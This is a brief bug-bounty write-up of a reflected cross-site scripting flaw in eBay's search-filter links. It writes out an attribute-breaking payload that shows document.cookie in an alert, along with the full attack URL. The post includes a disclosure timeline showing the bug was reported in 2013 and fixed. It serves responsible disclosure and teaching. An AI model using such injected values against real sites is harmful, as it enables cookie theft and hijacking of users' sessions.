The first place where I started looking for a JavaScript code injection on ebay.com was a search box. Surprisingly, it was a bull’s eye.

I typed “Gold” and hit “Search” button. I was redirected to:

http://www.ebay.com/sch/i.html?_trksid=m570.l1313&_nkw=gold&_sacat=0&_from=R40

Then I looked in the source code. It seemed that every checkbox (e.g. “Auction“, “Buy It Now” and so on) had a dynamically generated URL:

<a href="http://www.ebay.com/sch/i.html?_from=R40&_sacat=0&_nkw=gold&rt=nc&LH_Auction=1">

What I had found interesting was a part after the search query (“gold“) which was absent in the webbrowser’s address bar:

&rt=nc&LH_Auction=1

So I simply tried to abuse it with a value of:

" onclick=alert(document.cookie) x="

In the address bar of my webbrowser I typed:

http://www.ebay.com/sch/i.html?_from=R40&_sacat=0&_nkw=gold&rt=" onclick=alert(document.cookie) x="

After clicking “Auction” or “Buy it Now” checkbox my cookies showed up in an alert box.

Voilà!

This got me listed on ebay’s Security Researcher’s Acknowledgment page.

Bug’s lifespan:

[January 23rd 2013] - first report
[March 5th 2013] - second report after no response
[April 2nd 2013] - bug fixed